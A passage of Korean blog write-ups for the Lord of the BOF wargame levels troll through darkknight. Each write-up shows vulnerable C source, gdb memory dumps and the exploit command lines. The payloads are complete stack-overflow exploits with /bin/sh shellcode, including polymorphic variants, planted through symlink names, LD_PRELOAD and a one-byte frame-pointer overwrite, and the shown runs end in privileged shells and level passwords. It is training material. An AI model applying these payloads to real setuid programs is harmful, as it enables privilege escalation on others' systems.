0x804844f <problem_child+15>:   push   %eax

0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>

0x8048455 <problem_child+21>:   add    $0xc,%esp

0x8048458 <problem_child+24>:   lea    0xffffffd8(%ebp),%eax

0x804845b <problem_child+27>:   push   %eax

0x804845c <problem_child+28>:   push   $0x8048500

0x8048461 <problem_child+33>:   call   0x8048354 <printf>

0x8048466 <problem_child+38>:   add    $0x8,%esp

0x8048469 <problem_child+41>:   leave

0x804846a <problem_child+42>:   ret

0x804846b <problem_child+43>:   nop

End of assembler dump.


(gdb) b*0x8048469

Breakpoint 1 at 0x8048469

(gdb) r `python -c 'print "\x41"*41'`

Starting program: /home/golem/./darkknigh2 `python -c 'print "\x41"*41'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒P▒▒▒▒▒▒▒   @


Breakpoint 1, 0x8048469 in problem_child ()



(gdb) x/40x $esp -4
0xbffffab0:     0x401081ec      0xbffffaec      0x08048466      0x08048500 <--변조된 sfp가 가르킬 메모리 공간  
0xbffffac0:     0xbffffac4   <-- 서브함수의 leave ret이 끝나면 가리킬 메모리 공간   0x90909090      0x90909090      0x90909090
0xbffffad0:     0x31909090      0x2f6850c0      0x6868732f      0x6e69622f
0xbffffae0:     0x5350e389      0xd231e189      0x80cd0bb0      0xbffffaac  <--\xbc
0xbffffaf0:     0x0804849e      0xbffffc4d      0xbffffb18      0x400309cb
0xbffffb00:     0x00000002      0xbffffb44      0xbffffb50      0x40013868
0xbffffb10:     0x00000002      0x08048390      0x00000000      0x080483b1
0xbffffb20:     0x0804846c      0x00000002      0xbffffb44      0x080482e4
0xbffffb30:     0x080484dc      0x4000ae60      0xbffffb3c      0x40013e90
0xbffffb40:     0x00000002      0xbffffc40      0xbffffc4d      0x00000000
(gdb) q

서브함수의 
leave = push esp, ebp + pop ebp 
ret = pop eip + jmp eip

후에 메인함수가 끝날때
leave = push esp, ebp + pop ebp 
ret = pop eip + jmp eip
이 실행되면서 쉘코드가 실행될 것이다.



[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xbc"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ
                                    ̀▒▒▒▒▒M▒▒▒▒▒▒▒       @
bash$ whoami
darkknight
bash$ my-pass
euid = 512
new attacker


'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

14.bugbear->giant  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10
11.lob skeleton->golem  (0) 2018.01.08
10.lob vampire->skeleton  (0) 2018.01.08
09.lob troll->vampire  (0) 2018.01.08

[skeleton@localhost skeleton]$ cat golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){    //2개 이상의 인자 사용

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')    //0xbf~~~로 시작하는 ret 사용

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);    //취약 부분

        printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);    //버퍼 초기화

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));    //ret주소위 상위 메모리 초기화

}





[skeleton@localhost golemtmp]$ file gole1
gole1: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped



쉘코드를 올릴 공간이 어디있을까?

공유라이브러리 영역은 스택보다 낮은 주소에 있다.



LD_PRELOAD 


프로세스 실행 과정 중 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된

라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.

즉, 자동으로 후킹을 수행하도록 해준다는 말과 같다.



쉘코드를 이름이나 경로로 들어가기 때문에 여기서 \x2f를 "/"로 인식하기 때문에  

경로나 이름이 들어가는 경우는 다형성 쉘코드를 사용한다. 


[skeleton@localhost golemtmp]$ gcc a.c -fPIC -shared -o /tmp/golemtmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

touch a.c 명령어를 이용해 빈 파일을 만들어 준 뒤에
shared object를 컴파일 하기위한 gcc -fPIC -shared 옵션을 이용해서 컴파일 해준다. 이때 파일명은 nop+다형성 쉘코드로 한다.




[skeleton@localhost golemtmp]$ export LD_PRELOAD="/tmp/golemtmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"


후에 환경변수 LD_PRELOAD에 올려주고 확인을 해보면


[skeleton@localhost golemtmp]$ env
PWD=/tmp/golemtmp
LD_PRELOAD=/tmp/golemtmp/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒^1ɱ2▒l▒▒▒u▒▒▒▒▒▒▒2▒Qi00tii0cjo▒▒QT▒⚱
΁
REMOTEHOST=192.168.59.1
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=skeleton

올바르게 올라가 있는 것을 볼 수 있었다.

[skeleton@localhost golemtmp]$ gdb ./gole1

(gdb) disas main
Dump of assembler code for function main:


중     략

0x80484b7 <main+71>:    add    $0x4,%esp
0x80484ba <main+74>:    lea    0x0(%esi),%esi
0x80484c0 <main+80>:    mov    0xc(%ebp),%eax
0x80484c3 <main+83>:    add    $0x4,%eax
0x80484c6 <main+86>:    mov    (%eax),%edx
0x80484c8 <main+88>:    push   %edx
0x80484c9 <main+89>:    lea    0xffffffd8(%ebp),%eax
0x80484cc <main+92>:    push   %eax
0x80484cd <main+93>:    call   0x80483a8 <strcpy>
0x80484d2 <main+98>:    add    $0x8,%esp
0x80484d5 <main+101>:   lea    0xffffffd8(%ebp),%eax
0x80484d8 <main+104>:   push   %eax
0x80484d9 <main+105>:   push   $0x8048599
0x80484de <main+110>:   call   0x8048378 <printf>
0x80484e3 <main+115>:   add    $0x8,%esp
0x80484e6 <main+118>:   push   $0x2c



        략



End of assembler dump.

strcpy이후에 bp를 걸고 추측한대로 버퍼(40)+sfp(4)+ret(4)를 argv[1]에 넣어보았다.

(gdb) b*main+98
Breakpoint 1 at 0x80484d2
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /tmp/golemtmp/./gole1 `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

공유라이브러리 메모리공간을 보고

Breakpoint 1, 0x80484d2 in main ()

(gdb) x/1000x $esp -1000
0xbffffbcc:     0x5f444c00      0x4c455250      0x3d44414f      0x706d742f
0xbffffbdc:     0x6c6f672f      0x6d746d65      0x90902f70      0x90909090
0xbffffbec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbfc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc0c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc3c:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffffc4c:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffffc5c:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffffc6c:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x520081ce
0xbffffc7c:     0x544f4d45      0x534f4845      0x39313d54      0x36312e32
0xbffffc8c:     0x39352e38      0x4800312e      0x4e54534f      0x3d454d41
0xbffffc9c:     0x61636f6c      0x736f686c      0x6f6c2e74      0x646c6163
0xbffffcac:     0x69616d6f      0x454c006e      0x504f5353      0x7c3d4e45


nop주소를 ret에 넣어줬는데 core파일이 생성되었다.

[skeleton@localhost golemtmp]$ ./gole1 `python -c 'print "\x90"*44+"\x0c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒
Segmentation fault (core dumped)

코어파일을 분석한후 다시 한번 시도해보니 쉘이 열렸다.

[skeleton@localhost golemtmp]$ gdb ./gole1 ./core

0xbffff590:     0x4000380e      0x40014478      0x706d742f      0x6c6f672f
0xbffff5a0:     0x6d746d65      0x90902f70      0x90909090      0x90909090
0xbffff5b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff600:     0x90909090      0x90909090      0x11eb9090      0xb1c9315e
0xbffff610:     0x0e6c8032      0xe98001ff      0xebf67501      0xffeae805
0xbffff620:     0xc132ffff      0x30306951      0x30696974      0x8a6f6a63
0xbffff630:     0x8a5451e4      0x0cb19ae2      0x400081ce      0x40013868
0xbffff640:     0x4000220c      0xbffffb7a      0x00000000      0x00000000

[skeleton@localhost golemtmp]$ ./gole1 `python -c 'print "\x90"*44+"\xe0\xf5\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ whoami
skeleton





[skeleton@localhost skeleton]$ export LD_PRELOAD="/tmp/golemtmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

[skeleton@localhost skeleton]$ ls
golem  golem.c
[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\xe0\xf5\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ whoami
golem
bash$ my-apss
sh: my-apss: command not found
bash$ my-pass
euid = 511
cup of coffee





'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

13.lob darkknight->bugbear  (0) 2018.01.10
12.lob golem->darknight  (0) 2018.01.09
10.lob vampire->skeleton  (0) 2018.01.08
09.lob troll->vampire  (0) 2018.01.08
08.lob orge->troll  (0) 2018.01.08

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        // argc saver

        saved_argc = argc;


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // ultra argv hunter! argv를 모두 0으로 초기화한다.

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i]));

}


8번 문제인 orge->troll문제와 비슷하지만 추가된 점은 argv[i]가 모두 제한되었다는 점이다.!

8번 문제와 동일하게 etc영역에 쉘코드가 들어가도록 심볼릭링크를 이용하여 쉘코드를 이름으로 사용하기로 한다.


심볼릭링크를 이용하면 '\x2f'가 '/'로 인식이 되기때문에 '\x2f'가 없는 쉘코드를 사용해 주어야 한다.


[vampire@localhost /tmp]$ ln -s skeleto1 `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

[vampire@localhost /tmp]$ gdb ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

(gdb) r `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

Starting program: /tmp/./▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ

                                                         1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Program received signal SIGSEGV, Segmentation fault.

0xbfbfbfbf in ?? ()

(gdb) disas main

Dump of assembler code for function main:


중간 생략


0x8048641 <main+321>:   call   0x80483f0 <strlen>

0x8048646 <main+326>:   add    $0x4,%esp

0x8048649 <main+329>:   mov    %eax,%eax

0x804864b <main+331>:   push   %eax

0x804864c <main+332>:   push   $0x0

0x804864e <main+334>:   mov    0xffffffd4(%ebp),%eax

0x8048651 <main+337>:   lea    0x0(,%eax,4),%edx

0x8048658 <main+344>:   mov    0xc(%ebp),%eax

0x804865b <main+347>:   mov    (%eax,%edx,1),%edx

0x804865e <main+350>:   push   %edx

0x804865f <main+351>:   call   0x8048430 <memset>

0x8048664 <main+356>:   add    $0xc,%esp

0x8048667 <main+359>:   incl   0xffffffd4(%ebp)

---Type <return> to continue, or q <return> to quit---

0x804866a <main+362>:   jmp    0x8048623 <main+291>

0x804866c <main+364>:   lea    0x0(%esi,1),%esi

0x8048670 <main+368>:   leave

0x8048671 <main+369>:   ret


(gdb) b* main +368

Breakpoint 1 at 0x8048670

프로그램 맨 마지막 쯤에 bp를 걸어주고 ret주소를 \xbfbfbfbf로 덮어주고 한번 더 실행시켜 주었다.


(gdb) r `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/./▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ

                                                         1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒


후에 etc 메모리 영역 어디에 nop와 쉘코드가 들어갔는지 파악해준다.

(gdb) x/256x 0xbfffffff -256

0xbffffeff:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff0f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff1f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff2f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff3f:     0x00000000      0x00000000      0x2f000000      0x2f706d74

0xbfffff4f:     0x90902f2e      0x90909090      0x90909090      0x90909090

0xbfffff5f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff6f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff7f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff8f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff9f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffffaf:     0x90909090      0xc5d99090      0xf42474d9      0x69c315b8

0xbfffffbf:     0xc9295dd7      0x45310bb1      0x1a45031a      0xe204c583

0xbfffffcf:     0x8f62a9e0      0x47137c93      0x7052e38e      0x1717ccb8

0xbfffffdf:     0x85f77b38      0xa98e1551      0x2d9801f3      0x4fb6d1f3

0xbfffffef:     0xfce7bf9a      0x51af4034      0xd682a14d      0x00000000

0xbfffffff:     Cannot access memory at address 0xbfffffff


ret주소를 0xbfffff6f 쯤으로 하면 안전하게 nop를 타고 쉘코드가 실행 될 것 같다.






[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*44+"\x6f\xff\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒o▒▒▒
bash$ whoami
skeleton
bash$ my-pass
euid = 510
shellcoder





'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

12.lob golem->darknight  (0) 2018.01.09
11.lob skeleton->golem  (0) 2018.01.08
09.lob troll->vampire  (0) 2018.01.08
08.lob orge->troll  (0) 2018.01.08
07.lob darkelf->orge  (0) 2018.01.08

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')    //0xbf로 시작하는 주소를 이용할것!

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // here is changed!

        if(argv[1][46] == '\xff')     //0xbfff로 시작하는 주소는 이용하지 말것!

        {

                printf("but it's not forever\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}




0xbfffffff<-이 주소값이 커널영역아래로 가장 높은 주소이다. 4번째 헥스값인 f를 e로 수정한다면 빨간줄을 쳐놓은 두번째 조건을 피해 갈 수 있을것이다. 

0xbffeffff <-이 주소가 0xbffe~~주소중에선 가장 높은 값이고 16^4 = 65536정도 더 넉넉하게 66000개의 nop를 넣어주면 ret주소를 0xbffe로 시작하게 쓸 수 있다.

 



[troll@localhost troll]$./vampire `python -c 'print "\x90"*44+"\x50\xfd\xfe\xbf"+"\x90"*66000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒1̀▒É▒1▒F̀1▒Ph//shh/bin▒▒PS▒▒°

                                                                             ̀

bash$ whoami

vampire

bash$ my-pass

euid = 509

music world



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

11.lob skeleton->golem  (0) 2018.01.08
10.lob vampire->skeleton  (0) 2018.01.08
08.lob orge->troll  (0) 2018.01.08
07.lob darkelf->orge  (0) 2018.01.08
06.lob wolfman->darkelf  (0) 2018.01.08

[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        // here is changed

        if(argc != 2){

                printf("argc must be two!\n");

                exit(0);

        }


        // egghunter 환경변수 제한

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')    //0xbf로 시작하는 ret주소를 사용해야한다.

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument     //argv[1]의 문자열이 48자를 넘으면 X

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter 버퍼 40자를 0으로 초기화한다.

        memset(buffer, 0, 40);


        // one more!    argv[1]을 모두 0으로 초기화한다.

        memset(argv[1], 0, strlen(argv[1]));

}


프로그램이 메모리에 올라가면 커널 아래와 스택위 주소에 etc라는 영역에 프로그램에 대한 정보가 들어간다. 아래와 같이 메모리에 써진 문자열을 보면 여러정보가 담겨있는데 우리는 프로그램의 이름을 이용하기로 한다. ln -s 심볼릭링크를 이용해서 troll프로그램에 쉘코드를 링크로 걸어주고 실행시켜주면 쉘코드가 etc영역에 들어가게 된다.

(gdb) x/100s 0xbfffffff-1000

0xbffffc17:  ""

0xbffffc18:  ""

0xbffffc19:  ""

0xbffffc1a:  ""

0xbffffc1b:  ""

0xbffffc1c:  ""

0xbffffc1d:  ""

0xbffffc1e:  "i686"

0xbffffc23:  "/home/orge/tmp/./troll"

0xbffffc3a:  "AAAA"

0xbffffc3f:  "LESSOPEN=|/usr/bin/lesspipe.sh %s"

0xbffffc61:  "USERNAME="

0xbffffc6b:  "HISTSIZE=1000"

0xbffffc79:  "HOSTNAME=localhost.localdomain"

0xbffffc98:  "LOGNAME=orge"

0xbffffca5:  "MAIL=/var/spool/mail/orge"

0xbffffcbf:  "MACHTYPE=i386-redhat-linux-gnu"

0xbffffcde:  "TERM=xterm-color"

0xbffffcef:  "HOSTTYPE=i386"

0xbffffcfd:  "PATH=/bin:/usr/bin:/usr/local/bin:/usr/bin/X11:/usr/X11R6/bin:/home/orge/bin"

0xbffffd4a:  "OLDPWD=/home/orge"

0xbffffd5c:  "HOME=/home/orge"

0xbffffd6c:  "INPUTRC=/etc/inputrc"

0xbffffd81:  "SHELL=/bin/bash"

0xbffffd91:  "USER=orge"

0xbffffd9b:  "BASH_ENV=/home/orge/.bashrc"

0xbffffdb7:  "DISPLAY=/tmp/launch-SS2sdZ/org.macosforge.xquartz:0"

0xbffffdeb:  "LANG=en_US"

0xbffffdf6:  "OSTYPE=linux-gnu"

0xbffffe07:  "PWD=/home/orge/tmp"

0xbffffe1a:  "SHLVL=2"

0xbffffe22:  "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01"...

0xbffffeea:  ";32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3"...

---Type <return> to continue, or q <return> to quit---

0xbfffffb2:  "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"

0xbfffffe5:  "/home/orge/tmp/./troll"

출처 : http://orang.tistory.com/entry/%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8-LOB-orge-troll-by-ORANG



기존의 쉘코드를 이용하여 링크를 걸어보려고 했으나 쉘코드의 '\x2f'가 '/'로 인식되어 링크가 정상적으로 걸리지 않았다. 그래서  '0x2f'가 없는 쉘코드를 이용하여 링크를 걸어준다.


[orge@localhost orge]$ ln -s trol2 `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

                                                                       

[orge@localhost orge]$ ls -al
total 16
drwxrwxr-x    2 orge     orge         1024 Jan  4 18:54 .
drwxrwxrwt    4 root     root         1024 Jan  4 18:53 ..
-rwsr-xr-x    1 orge     orge        12693 Jan  4 18:53 trol2
lrwxrwxrwx    1 orge     orge            5 Jan  4 19:23 ????????????????????????????????▒?^1ɱ2?l?▒??▒?u▒▒?▒▒▒▒▒2▒Qi00tii0cjo?▒QT?▒?▒?▒?
▒?^1ɱ2?l?▒??▒?u▒▒?▒▒▒▒▒2▒Qi00tii0cjo?▒QT?▒?▒?▒?

위와 같이 심볼릭 링크가 잘 걸려있는 것을 확인하고.. 

[orge@localhost orge]$ ulimit -c 1024

